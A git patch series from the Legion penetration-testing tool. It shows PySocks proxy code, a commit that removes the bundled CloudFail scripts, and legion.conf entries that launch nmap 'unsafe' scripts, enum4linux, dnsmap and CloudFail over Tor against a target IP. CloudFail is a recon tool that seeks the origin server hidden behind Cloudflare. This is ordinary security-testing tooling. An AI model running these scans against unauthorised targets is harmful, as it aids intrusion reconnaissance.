fromport = self._read_SOCKS5_address(buf) + + if self.proxy_peername: + peerhost, peerport = self.proxy_peername + if fromhost != peerhost or peerport not in (0, fromport): + raise socket.error(EAGAIN, "Packet filtered") + + return (buf.read(), (fromhost, fromport)) + + def recv(self, *pos, **kw): + bytes, _ = self.recvfrom(*pos, **kw) + return bytes + + def close(self): + if self._proxyconn: + self._proxyconn.close() + return _BaseSocket.close(self) + + def get_proxy_sockname(self): + """ + Returns the bound IP address and port number at the proxy. + """ + return self.proxy_sockname + + getproxysockname = get_proxy_sockname + + def get_proxy_peername(self): + """ + Returns the IP and port number of the proxy. + """ + return _BaseSocket.getpeername(self) + + getproxypeername = get_proxy_peername + + def get_peername(self): + """ + Returns the IP address and port number of the destination + machine (note: get_proxy_peername returns the proxy) + """ + return self.proxy_peername + + getpeername = get_peername + + def _negotiate_SOCKS5(self, *dest_addr): + """ + Negotiates a stream connection through a SOCKS5 server. + """ + CONNECT = b"\x01" + self.proxy_peername, self.proxy_sockname = self._SOCKS5_request(self, + CONNECT, dest_addr) + + def _SOCKS5_request(self, conn, cmd, dst): + """ + Send SOCKS5 request with given command (CMD field) and + address (DST field). Returns resolved DST address that was used. + """ + proxy_type, addr, port, rdns, username, password = self.proxy + + writer = conn.makefile("wb") + reader = conn.makefile("rb", 0) # buffering=0 renamed in Python 3 + try: + # First we'll send the authentication packages we support. + if username and password: + # The username/password details were supplied to the + # set_proxy method so we support the USERNAME/PASSWORD + # authentication (in addition to the standard none). + writer.write(b"\x05\x02\x00\x02") + else: + # No username/password were entered, therefore we + # only support connections with no authentication. + writer.write(b"\x05\x01\x00") + + # We'll receive the server's response to determine which + # method was selected + writer.flush() + chosen_auth = self._readall(reader, 2) + + if chosen_auth[0:1] != b"\x05": + # Note: string[i:i+1] is used because indexing of a bytestring + # via bytestring[i] yields an integer in Python 3 + raise GeneralProxyError("SOCKS5 proxy server sent invalid data") + + # Check the chosen authentication method + + if chosen_auth[1:2] == b"\x02": + # Okay, we need to perform a basic username/password + # authentication. + writer.write(b"\x01" + chr(len(username)).encode() + + username + + chr(len(password)).encode() + + password) + writer.flush() + auth_status = self._readall(reader, 2) + if auth_status[0:1] != b"\x01": + # Bad response + raise GeneralProxyError("SOCKS5 proxy server sent invalid data") + if auth_status[1:2] != b"\x00": + # Authentication failed + raise SOCKS5AuthError("SOCKS5 authentication failed") + + # Otherwise, authentication succeeded + + # No authentication is required if 0x00 + elif chosen_auth[1:2] != b"\x00": + # Reaching here is always bad + if chosen_auth[1:2] == b"\xFF": + raise SOCKS5AuthError("All offered SOCKS5 authentication methods were rejected") + else: + raise GeneralProxyError("SOCKS5 proxy server sent invalid data") + + # Now we can request the actual connection + writer.write(b"\x05" + cmd + b"\x00") + resolved = self._write_SOCKS5_address(dst, writer) + writer.flush() + + # Get the response + resp = self._readall(reader, 3) + if resp[0:1] != b"\x05": + raise GeneralProxyError("SOCKS5 proxy server sent invalid data") + + status = ord(resp[1:2]) + if status != 0x00: + # Connection failed: server returned an error + error = SOCKS5_ERRORS.get(status, "Unknown error") + raise SOCKS5Error("{0:#04x}: {1}".format(status, error)) + + # Get the bound address/port + bnd = self._read_SOCKS5_address(reader) + return (resolved, bnd) + finally: + reader.close() + writer.close() + + def _write_SOCKS5_address(self, addr, file): + """ + Return the host and port packed for the SOCKS5 protocol, + and the resolved address as a tuple object. + """ + host, port = addr + proxy_type, _, _, rdns, username, password = self.proxy + family_to_byte = {socket.AF_INET: b"\x01", socket.AF_INET6: b"\x04"} + + # If the given destination address is an IP address, we'll + # use the IP address request even if remote resolving was specified. + # Detect whether the address is IPv4/6 directly. + for family in (socket.AF_INET, socket.AF_INET6): + try: + addr_bytes = socket.inet_pton(family, host) + file.write(family_to_byte[family] + addr_bytes) + host = socket.inet_ntop(family, addr_bytes) + file.write(struct.pack(">H", port)) + return host, port + except socket.error: + continue + + # Well it's not an IP number, so it's probably a DNS name. + if rdns: + # Resolve remotely + host_bytes = host.encode('idna') + file.write(b"\x03" + chr(len(host_bytes)).encode() + host_bytes) + else: + # Resolve locally + addresses = socket.getaddrinfo(host, port, socket.AF_UNSPEC, socket.SOCK_STREAM, socket.IPPROTO_TCP, socket.AI_ADDRCONFIG) + # We can't really work out what IP is reachable, so just pick the + # first. + target_addr = addresses[0] + family = target_addr[0] + host = target_addr[4][0] + + addr_bytes = socket.inet_pton(family, host) + file.write(family_to_byte[family] + addr_bytes) + host = socket.inet_ntop(family, addr_bytes) + file.write(struct.pack(">H", port)) + return host, port + + def _read_SOCKS5_address(self, file): + atyp = self._readall(file, 1) + if atyp == b"\x01": + addr = socket.inet_ntoa(self._readall(file, 4)) + elif atyp == b"\x03": + length = self._readall(file, 1) + addr = self._readall(file, ord(length)) + elif atyp == b"\x04": + addr = socket.inet_ntop(socket.AF_INET6, self._readall(file, 16)) + else: + raise GeneralProxyError("SOCKS5 proxy server sent invalid data") + + port = struct.unpack(">H", self._readall(file, 2))[0] + return addr, port + + def _negotiate_SOCKS4(self, dest_addr, dest_port): + """ + Negotiates a connection through a SOCKS4 server. + """ + proxy_type, addr, port, rdns, username, password = self.proxy + + writer = self.makefile("wb") + reader = self.makefile("rb", 0) # buffering=0 renamed in Python 3 + try: + # Check if the destination address provided is an IP address + remote_resolve = False + try: + addr_bytes = socket.inet_aton(dest_addr) + except socket.error: + # It's a DNS name. Check where it should be resolved. + if rdns: + addr_bytes = b"\x00\x00\x00\x01" + remote_resolve = True + else: + addr_bytes = socket.inet_aton(socket.gethostbyname(dest_addr)) + + # Construct the request packet + writer.write(struct.pack(">BBH", 0x04, 0x01, dest_port)) + writer.write(addr_bytes) + + # The username parameter is considered userid for SOCKS4 + if username: + writer.write(username) + writer.write(b"\x00") + + # DNS name if remote resolving is required + # NOTE: This is actually an extension to the SOCKS4 protocol + # called SOCKS4A and may not be supported in all cases. + if remote_resolve: + writer.write(dest_addr.encode('idna') + b"\x00") + writer.flush() + + # Get the response from the server + resp = self._readall(reader, 8) + if resp[0:1] != b"\x00": + # Bad data + raise GeneralProxyError("SOCKS4 proxy server sent invalid data") + + status = ord(resp[1:2]) + if status != 0x5A: + # Connection failed: server returned an error + error = SOCKS4_ERRORS.get(status, "Unknown error") + raise SOCKS4Error("{0:#04x}: {1}".format(status, error)) + + # Get the bound address/port + self.proxy_sockname = (socket.inet_ntoa(resp[4:]), struct.unpack(">H", resp[2:4])[0]) + if remote_resolve: + self.proxy_peername = socket.inet_ntoa(addr_bytes), dest_port + else: + self.proxy_peername = dest_addr, dest_port + finally: + reader.close() + writer.close() + + def _negotiate_HTTP(self, dest_addr, dest_port): + """ + Negotiates a connection through an HTTP server. + NOTE: This currently only supports HTTP CONNECT-style proxies. + """ + proxy_type, addr, port, rdns, username, password = self.proxy + + # If we need to resolve locally, we do this now + addr = dest_addr if rdns else socket.gethostbyname(dest_addr) + + http_headers = [ + b"CONNECT " + addr.encode('idna') + b":" + str(dest_port).encode() + b" HTTP/1.1", + b"Host: " + dest_addr.encode('idna') + ] + + if username and password: + http_headers.append(b"Proxy-Authorization: basic " + b64encode(username + b":" + password)) + + http_headers.append(b"\r\n") + + self.sendall(b"\r\n".join(http_headers)) + + # We just need the first line to check if the connection was successful + fobj = self.makefile() + status_line = fobj.readline() + fobj.close() + + if not status_line: + raise GeneralProxyError("Connection closed unexpectedly") + + try: + proto, status_code, status_msg = status_line.split(" ", 2) + except ValueError: + raise GeneralProxyError("HTTP proxy server sent invalid response") + + if not proto.startswith("HTTP/"): + raise GeneralProxyError("Proxy server does not appear to be an HTTP proxy") + + try: + status_code = int(status_code) + except ValueError: + raise HTTPError("HTTP proxy server did not return a valid HTTP status") + + if status_code != 200: + error = "{0}: {1}".format(status_code, status_msg) + if status_code in (400, 403, 405): + # It's likely that the HTTP proxy server does not support the CONNECT tunneling method + error += ("\n[*] Note: The HTTP proxy server may not be supported by PySocks" + " (must be a CONNECT tunnel proxy)") + raise HTTPError(error) + + self.proxy_sockname = (b"0.0.0.0", 0) + self.proxy_peername = addr, dest_port + + _proxy_negotiators = { + SOCKS4: _negotiate_SOCKS4, + SOCKS5: _negotiate_SOCKS5, + HTTP: _negotiate_HTTP + } + + + def connect(self, dest_pair): + """ + Connects to the specified destination through a proxy. + Uses the same API as socket's connect(). + To select the proxy server, use set_proxy(). + + dest_pair - 2-tuple of (IP/hostname, port). + """ + if len(dest_pair) != 2 or dest_pair[0].startswith("["): + # Probably IPv6, not supported -- raise an error, and hope + # Happy Eyeballs (RFC6555) makes sure at least the IPv4 + # connection works... + raise socket.error("PySocks doesn't support IPv6") + + dest_addr, dest_port = dest_pair + + if self.type == socket.SOCK_DGRAM: + if not self._proxyconn: + self.bind(("", 0)) + dest_addr = socket.gethostbyname(dest_addr) + + # If the host address is INADDR_ANY or similar, reset the peer + # address so that packets are received from any peer + if dest_addr == "0.0.0.0" and not dest_port: + self.proxy_peername = None + else: + self.proxy_peername = (dest_addr, dest_port) + return + + proxy_type, proxy_addr, proxy_port, rdns, username, password = self.proxy + + # Do a minimal input check first + if (not isinstance(dest_pair, (list, tuple)) + or len(dest_pair) != 2 + or not dest_addr + or not isinstance(dest_port, int)): + raise GeneralProxyError("Invalid destination-connection (host, port) pair") + + + if proxy_type is None: + # Treat like regular socket object + self.proxy_peername = dest_pair + _BaseSocket.connect(self, (dest_addr, dest_port)) + return + + proxy_addr = self._proxy_addr() + + try: + # Initial connection to proxy server + _BaseSocket.connect(self, proxy_addr) + + except socket.error as error: + # Error while connecting to proxy + self.close() + proxy_addr, proxy_port = proxy_addr + proxy_server = "{0}:{1}".format(proxy_addr, proxy_port) + printable_type = PRINTABLE_PROXY_TYPES[proxy_type] + + msg = "Error connecting to {0} proxy {1}".format(printable_type, + proxy_server) + raise ProxyConnectionError(msg, error) + + else: + # Connected to proxy server, now negotiate + try: + # Calls negotiate_{SOCKS4, SOCKS5, HTTP} + negotiate = self._proxy_negotiators[proxy_type] + negotiate(self, dest_addr, dest_port) + except socket.error as error: + # Wrap socket errors + self.close() + raise GeneralProxyError("Socket error", error) + except ProxyError: + # Protocol error while negotiating with proxy + self.close() + raise + + def _proxy_addr(self): + """ + Return proxy address to connect to as tuple object + """ + proxy_type, proxy_addr, proxy_port, rdns, username, password = self.proxy + proxy_port = proxy_port or DEFAULT_PORTS.get(proxy_type) + if not proxy_port: + raise GeneralProxyError("Invalid proxy type") + return proxy_addr, proxy_port diff --git a/scripts/CloudFail/sockshandler.py b/scripts/CloudFail/sockshandler.py new file mode 100644 index 00000000..26c83439 --- /dev/null +++ b/scripts/CloudFail/sockshandler.py @@ -0,0 +1,79 @@ +#!/usr/bin/env python +""" +SocksiPy + urllib2 handler + +version: 0.3 +author: e + +This module provides a Handler which you can use with urllib2 to allow it to tunnel your connection through a socks.sockssocket socket, with out monkey patching the original socket... +""" +import ssl + +try: + import urllib2 + import httplib +except ImportError: # Python 3 + import urllib.request as urllib2 + import http.client as httplib + +import socks # $ pip install PySocks + +def merge_dict(a, b): + d = a.copy() + d.update(b) + return d + +class SocksiPyConnection(httplib.HTTPConnection): + def __init__(self, proxytype, proxyaddr, proxyport=None, rdns=True, username=None, password=None, *args, **kwargs): + self.proxyargs = (proxytype, proxyaddr, proxyport, rdns, username, password) + httplib.HTTPConnection.__init__(self, *args, **kwargs) + + def connect(self): + self.sock = socks.socksocket() + self.sock.setproxy(*self.proxyargs) + if type(self.timeout) in (int, float): + self.sock.settimeout(self.timeout) + self.sock.connect((self.host, self.port)) + +class SocksiPyConnectionS(httplib.HTTPSConnection): + def __init__(self, proxytype, proxyaddr, proxyport=None, rdns=True, username=None, password=None, *args, **kwargs): + self.proxyargs = (proxytype, proxyaddr, proxyport, rdns, username, password) + httplib.HTTPSConnection.__init__(self, *args, **kwargs) + + def connect(self): + sock = socks.socksocket() + sock.setproxy(*self.proxyargs) + if type(self.timeout) in (int, float): + sock.settimeout(self.timeout) + sock.connect((self.host, self.port)) + self.sock = ssl.wrap_socket(sock, self.key_file, self.cert_file) + +class SocksiPyHandler(urllib2.HTTPHandler, urllib2.HTTPSHandler): + def __init__(self, *args, **kwargs): + self.args = args + self.kw = kwargs + urllib2.HTTPHandler.__init__(self) + + def http_open(self, req): + def build(host, port=None, timeout=0, **kwargs): + kw = merge_dict(self.kw, kwargs) + conn = SocksiPyConnection(*self.args, host=host, port=port, timeout=timeout, **kw) + return conn + return self.do_open(build, req) + + def https_open(self, req): + def build(host, port=None, timeout=0, **kwargs): + kw = merge_dict(self.kw, kwargs) + conn = SocksiPyConnectionS(*self.args, host=host, port=port, timeout=timeout, **kw) + return conn + return self.do_open(build, req) + +if __name__ == "__main__": + import sys + try: + port = int(sys.argv[1]) + except (ValueError, IndexError): + port = 9050 + opener = urllib2.build_opener(SocksiPyHandler(socks.PROXY_TYPE_SOCKS5, "localhost", port)) + print("HTTP: " + opener.open("http://httpbin.org/ip").read().decode()) + print("HTTPS: " + opener.open("https://httpbin.org/ip").read().decode()) From b0c083375132d7d1ea8e37e0d9574ca9a53b3af9 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 12 Apr 2019 09:06:14 -0500 Subject: [PATCH 211/450] Remove junk --- controller/controller.py | 4 +- deps/Parrot-4.6.sh | 11 + deps/Parrot-4.6WSL.sh | 14 + deps/Unknown.sh | 11 + deps/UnknownWSL.sh | 14 + deps/detectOs.sh | 6 +- legion.conf | 6 +- scripts/CloudFail/.gitignore | 5 - scripts/CloudFail/DNSDumpsterAPI.py | 84 - scripts/CloudFail/Dockerfile | 18 - scripts/CloudFail/LICENSE.md | 21 - scripts/CloudFail/README.md | 61 - scripts/CloudFail/cloudfail.py | 294 --- scripts/CloudFail/data/cf-subnet.txt | 14 - scripts/CloudFail/data/subdomains.txt | 2897 ------------------------- scripts/CloudFail/requirements.txt | 9 - scripts/CloudFail/socks.py | 765 ------- scripts/CloudFail/sockshandler.py | 79 - startLegion.sh | 7 + 19 files changed, 67 insertions(+), 4253 deletions(-) create mode 100644 deps/Parrot-4.6.sh create mode 100644 deps/Parrot-4.6WSL.sh create mode 100644 deps/Unknown.sh create mode 100644 deps/UnknownWSL.sh delete mode 100644 scripts/CloudFail/.gitignore delete mode 100644 scripts/CloudFail/DNSDumpsterAPI.py delete mode 100644 scripts/CloudFail/Dockerfile delete mode 100644 scripts/CloudFail/LICENSE.md delete mode 100644 scripts/CloudFail/README.md delete mode 100644 scripts/CloudFail/cloudfail.py delete mode 100644 scripts/CloudFail/data/cf-subnet.txt delete mode 100644 scripts/CloudFail/data/subdomains.txt delete mode 100644 scripts/CloudFail/requirements.txt delete mode 100644 scripts/CloudFail/socks.py delete mode 100644 scripts/CloudFail/sockshandler.py diff --git a/controller/controller.py b/controller/controller.py index e6c8d6b8..4b57d4c5 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,13 +28,13 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.4' - self.build = '1552399354' + self.build = '1555077770' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] self.emails = [] - self.update = '03/12/2019' + self.update = '04/12/2019' self.license = "GPL v3" self.desc = "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \nsuper-extensible and semi-automated network penetration testing tool that aids in discovery, \nreconnaissance and exploitation of information systems." diff --git a/deps/Parrot-4.6.sh b/deps/Parrot-4.6.sh new file mode 100644 index 00000000..6dbba96f --- /dev/null +++ b/deps/Parrot-4.6.sh @@ -0,0 +1,11 @@ +#!/bin/bash + +chmod a+x ./deps/*.sh + +./deps/installDeps.sh +./deps/installPython36.sh + +source ./deps/detectPython.sh + +echo "Installing Python Libraries..." +./deps/installPythonLibs.sh diff --git a/deps/Parrot-4.6WSL.sh b/deps/Parrot-4.6WSL.sh new file mode 100644 index 00000000..9b440219 --- /dev/null +++ b/deps/Parrot-4.6WSL.sh @@ -0,0 +1,14 @@ +#!/bin/bash + +chmod a+x ./deps/*.sh + +./deps/installDeps.sh +./deps/installPython36.sh + +source ./deps/detectPython.sh + +echo "Installing Python Libraries..." +./deps/installPythonLibs.sh + +echo "WSL Setup..." +./deps/setupWsl.sh diff --git a/deps/Unknown.sh b/deps/Unknown.sh new file mode 100644 index 00000000..6dbba96f --- /dev/null +++ b/deps/Unknown.sh @@ -0,0 +1,11 @@ +#!/bin/bash + +chmod a+x ./deps/*.sh + +./deps/installDeps.sh +./deps/installPython36.sh + +source ./deps/detectPython.sh + +echo "Installing Python Libraries..." +./deps/installPythonLibs.sh diff --git a/deps/UnknownWSL.sh b/deps/UnknownWSL.sh new file mode 100644 index 00000000..9b440219 --- /dev/null +++ b/deps/UnknownWSL.sh @@ -0,0 +1,14 @@ +#!/bin/bash + +chmod a+x ./deps/*.sh + +./deps/installDeps.sh +./deps/installPython36.sh + +source ./deps/detectPython.sh + +echo "Installing Python Libraries..." +./deps/installPythonLibs.sh + +echo "WSL Setup..." +./deps/setupWsl.sh diff --git a/deps/detectOs.sh b/deps/detectOs.sh index a6193675..efc154de 100644 --- a/deps/detectOs.sh +++ b/deps/detectOs.sh @@ -43,9 +43,13 @@ then if [[ ${releaseOutput} == *"4.5"* ]] then releaseVersion="4.5" + elif [[ ${releaseOutput} == *"4.6"* ]] + then + releaseVersion="4.6" fi else - releaseName="something unsupported" + releaseName="Unknown" + releaseVersion="" fi echo "Detected ${releaseName} ${releaseVersion} ${wslEnv}" diff --git a/legion.conf b/legion.conf index 12c4e54a..97052f28 100644 --- a/legion.conf +++ b/legion.conf @@ -9,7 +9,7 @@ store-cleartext-passwords-on-exit=True username-wordlist-path=/usr/share/wordlists/ [GUISettings] -process-tab-column-widths="125,0,74,92,67,0,124,130,0,0,0,0,0,0,0,125,100" +process-tab-column-widths="125,0,74,92,67,0,124,130,0,0,0,0,0,0,0,554,100" process-tab-detail=False [GeneralSettings] @@ -41,7 +41,9 @@ citrix-enum-apps-xml.nse=citrix-enum-apps-xml.nse, "nmap -Pn [IP] -p [PORT] --sc citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps.nse --script-args=unsafe=1", citrix citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix +cloudfail=Run cloudfail, python scripts/CloudFail/cloudfail.py --target [IP] --tor, cloudfail dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" +dnsmap=Run dnsmap, dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT], dnsmap enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger ftp-anon.nse=ftp-anon.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-anon.nse --script-args=unsafe=1", ftp @@ -274,8 +276,6 @@ vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --scri webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11 -dnsmap=Run dnsmap, "dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT]", dnsmap -cloudfail=Run cloudfail, "python scripts/CloudFail/cloudfail.py --target [IP] --tor", cloudfail [PortTerminalActions] firefox=Open with firefox, firefox [IP]:[PORT], diff --git a/scripts/CloudFail/.gitignore b/scripts/CloudFail/.gitignore deleted file mode 100644 index 865a5766..00000000 --- a/scripts/CloudFail/.gitignore +++ /dev/null @@ -1,5 +0,0 @@ -.idea/* -*.pyc -__pycache__ -venv/ -data/ipout \ No newline at end of file diff --git a/scripts/CloudFail/DNSDumpsterAPI.py b/scripts/CloudFail/DNSDumpsterAPI.py deleted file mode 100644 index bf93edcc..00000000 --- a/scripts/CloudFail/DNSDumpsterAPI.py +++ /dev/null @@ -1,84 +0,0 @@ -""" -This is the (unofficial) Python API for dnsdumpster.com Website. -Using this code, you can retrieve subdomains -Author: https://github.com/PaulSec/ -""" -from __future__ import print_function - -import re -import sys -import requests - -from bs4 import BeautifulSoup - - -class DNSDumpsterAPI(object): - - """DNSDumpsterAPI Main Handler""" - - def __init__(self, verbose=False): - self.verbose = verbose - - def display_message(self, string): - if self.verbose: - print('[verbose] %s' % string) - - def retrieve_results(self, table): - res = [] - trs = table.findAll('tr') - for tr in trs: - tds = tr.findAll('td') - pattern_ip = r'([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})' - ip = re.findall(pattern_ip, tds[1].text)[0] - domain = tds[0].text.replace('\n', '') - - additional_info = tds[2].text - country = tds[2].find('span', attrs={}).text - autonomous_system = additional_info.split(' ')[0] - provider = ' '.join(additional_info.split(' ')[1:]) - provider = provider.replace(country, '') - data = {'domain': domain, 'ip': ip, 'as': autonomous_system, 'provider': provider, 'country': country} - res.append(data) - return res - - def retrieve_txt_record(self, table): - res = [] - for td in table.findAll('td'): - res.append(td.text) - return res - - def search(self, domain): - dnsdumpster_url = 'https://dnsdumpster.com/' - s = requests.session() - - req = s.get(dnsdumpster_url) - soup = BeautifulSoup(req.content, 'html.parser') - csrf_middleware = soup.findAll('input', attrs={'name': 'csrfmiddlewaretoken'})[0]['value'] - self.display_message('Retrieved token: %s' % csrf_middleware) - - cookies = {'csrftoken': csrf_middleware} - headers = {'Referer': dnsdumpster_url} - data = {'csrfmiddlewaretoken': csrf_middleware, 'targetip': domain} - req = s.post(dnsdumpster_url, cookies=cookies, data=data, headers=headers) - - if req.status_code != 200: - print( - u"Unexpected status code from {url}: {code}".format( - url=dnsdumpster_url, code=req.status_code), - file=sys.stderr, - ) - return [] - - if 'error getting results' in req.content.decode('utf-8'): - print("There was an error getting results", file=sys.stderr) - return [] - - soup = BeautifulSoup(req.content, 'html.parser') - tables = soup.findAll('table') - - res = {'domain': domain, 'dns_records': {}} - res['dns_records']['dns'] = self.retrieve_results(tables[0]) - res['dns_records']['mx'] = self.retrieve_results(tables[1]) - res['dns_records']['txt'] = self.retrieve_txt_record(tables[2]) - res['dns_records']['host'] = self.retrieve_results(tables[3]) - return res \ No newline at end of file diff --git a/scripts/CloudFail/Dockerfile b/scripts/CloudFail/Dockerfile deleted file mode 100644 index b45ee264..00000000 --- a/scripts/CloudFail/Dockerfile +++ /dev/null @@ -1,18 +0,0 @@ -FROM debian:sid - -ENV LANG C.UTF-8 -ENV USER root -ENV HOME /cloudfail -ENV DEBIAN_FRONTEND noninteractive - -RUN apt-get update - -RUN apt-get install -yq python3-pip - -COPY . $HOME - -WORKDIR $HOME - -RUN pip3 install -r requirements.txt - -ENTRYPOINT ["python3", "cloudfail.py"] diff --git a/scripts/CloudFail/LICENSE.md b/scripts/CloudFail/LICENSE.md deleted file mode 100644 index 7f0fdfb5..00000000 --- a/scripts/CloudFail/LICENSE.md +++ /dev/null @@ -1,21 +0,0 @@ -MIT License - -Copyright (c) 2017 m0rtem - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/scripts/CloudFail/README.md b/scripts/CloudFail/README.md deleted file mode 100644 index 327461d7..00000000 --- a/scripts/CloudFail/README.md +++ /dev/null @@ -1,61 +0,0 @@ -# CloudFail - -CloudFail is a tactical reconnaissance tool which aims to gather enough information about a target protected by Cloudflare in the hopes of discovering the location of the server. Using Tor to mask all requests, the tool as of right now has 3 different attack phases. - -1. Misconfigured DNS scan using DNSDumpster.com. -2. Scan the Crimeflare.com database. -3. Bruteforce scan over 2500 subdomains. - -![Example usage](http://puu.sh/pq7vH/62d56aa41f.png "Example usage") - -> Please feel free to contribute to this project. If you have an idea or improvement issue a pull request! - -#### Disclaimer -This tool is a PoC (Proof of Concept) and does not guarantee results. It is possible to setup Cloudflare properly so that the IP is never released or logged anywhere; this is not often the case and hence why this tool exists. -This tool is only for academic purposes and testing under controlled environments. Do not use without obtaining proper authorization -from the network owner of the network under testing. -The author bears no responsibility for any misuse of the tool. - -#### Install on Kali/Debian - -First we need to install pip3 for python3 dependencies: - -```$ sudo apt-get install python3-pip``` - -Then we can run through dependency checks: - -```$ pip3 install -r requirements.txt``` - -#### Usage - -To run a scan against a target: - -```python3 cloudfail.py --target seo.com``` - -To run a scan against a target using Tor: - -```service tor start``` - -(or if you are using Windows or Mac install vidalia or just run the Tor browser) - -```python3 cloudfail.py --target seo.com --tor``` - -> Please make sure you are running with Python3 and not Python2.*. - - -#### Dependencies -**Python3** -* argparse -* colorama -* socket -* binascii -* datetime -* requests -* win_inet_pton - -## Donate BTC -> 13eiCHxmAEaRZDXcgKJVtVnCKK5mTR1u1F - -Buy me a beer or coffee... or both! -If you donate send me a message and I will add you to the credits! -Thank YOU! diff --git a/scripts/CloudFail/cloudfail.py b/scripts/CloudFail/cloudfail.py deleted file mode 100644 index a9f7d5e3..00000000 --- a/scripts/CloudFail/cloudfail.py +++ /dev/null @@ -1,294 +0,0 @@ -#!/usr/bin/env python3 -from __future__ import print_function -import argparse -import sys -import socket -import binascii -import datetime -import socks -import requests -import colorama -import zipfile -import os -import win_inet_pton -import platform -from colorama import Fore, Style -from DNSDumpsterAPI import DNSDumpsterAPI - -colorama.init(Style.BRIGHT) - - -def print_out(data, end='\n'): - datetimestr = str(datetime.datetime.strftime(datetime.datetime.now(), '%H:%M:%S')) - print(Style.NORMAL + "[" + datetimestr + "] " + data + Style.RESET_ALL,' ', end=end) - - -def ip_in_subnetwork(ip_address, subnetwork): - (ip_integer, version1) = ip_to_integer(ip_address) - (ip_lower, ip_upper, version2) = subnetwork_to_ip_range(subnetwork) - - if version1 != version2: - raise ValueError("incompatible IP versions") - - return (ip_lower <= ip_integer <= ip_upper) - - -def ip_to_integer(ip_address): - # try parsing the IP address first as IPv4, then as IPv6 - for version in (socket.AF_INET, socket.AF_INET6): - try: - ip_hex = win_inet_pton.inet_pton(version, ip_address) if platform == 'Windows' else socket.inet_pton(version, ip_address) - ip_integer = int(binascii.hexlify(ip_hex), 16) - - return ip_integer, 4 if version == socket.AF_INET else 6 - except: - pass - - raise ValueError("invalid IP address") - - -def subnetwork_to_ip_range(subnetwork): - try: - fragments = subnetwork.split('/') - network_prefix = fragments[0] - netmask_len = int(fragments[1]) - - # try parsing the subnetwork first as IPv4, then as IPv6 - for version in (socket.AF_INET, socket.AF_INET6): - - ip_len = 32 if version == socket.AF_INET else 128 - - try: - suffix_mask = (1 << (ip_len - netmask_len)) - 1 - netmask = ((1 << ip_len) - 1) - suffix_mask - ip_hex = socket.inet_pton(version, network_prefix) - ip_lower = int(binascii.hexlify(ip_hex), 16) & netmask - ip_upper = ip_lower + suffix_mask - - return (ip_lower, - ip_upper, - 4 if version == socket.AF_INET else 6) - except: - pass - except: - pass - - raise ValueError("invalid subnetwork") - - -def dnsdumpster(target): - print_out(Fore.CYAN + "Testing for misconfigured DNS using dnsdumpster...") - - res = DNSDumpsterAPI(False).search(target) - - if res['dns_records']['host']: - for entry in res['dns_records']['host']: - provider = str(entry['provider']) - if "Cloudflare" not in provider: - print_out( - Style.BRIGHT + Fore.WHITE + "[FOUND:HOST] " + Fore.GREEN + "{domain} {ip} {as} {provider} {country}".format( - **entry)) - - if res['dns_records']['dns']: - for entry in res['dns_records']['dns']: - provider = str(entry['provider']) - if "Cloudflare" not in provider: - print_out( - Style.BRIGHT + Fore.WHITE + "[FOUND:DNS] " + Fore.GREEN + "{domain} {ip} {as} {provider} {country}".format( - **entry)) - - if res['dns_records']['mx']: - for entry in res['dns_records']['mx']: - provider = str(entry['provider']) - if "Cloudflare" not in provider: - print_out( - Style.BRIGHT + Fore.WHITE + "[FOUND:MX] " + Fore.GREEN + "{ip} {as} {provider} {domain}".format( - **entry)) - - -def crimeflare(target): - print_out(Fore.CYAN + "Scanning crimeflare database...") - - with open("data/ipout", "r") as ins: - crimeFoundArray = [] - for line in ins: - lineExploded = line.split(" ") - if lineExploded[1] == args.target: - crimeFoundArray.append(lineExploded[2]) - else: - continue - if (len(crimeFoundArray) != 0): - for foundIp in crimeFoundArray: - print_out(Style.BRIGHT + Fore.WHITE + "[FOUND:IP] " + Fore.GREEN + "" + foundIp.strip()) - else: - print_out("Did not find anything.") - - -def init(target): - if args.target: - print_out(Fore.CYAN + "Fetching initial information from: " + args.target + "...") - else: - print_out(Fore.RED + "No target set, exiting") - 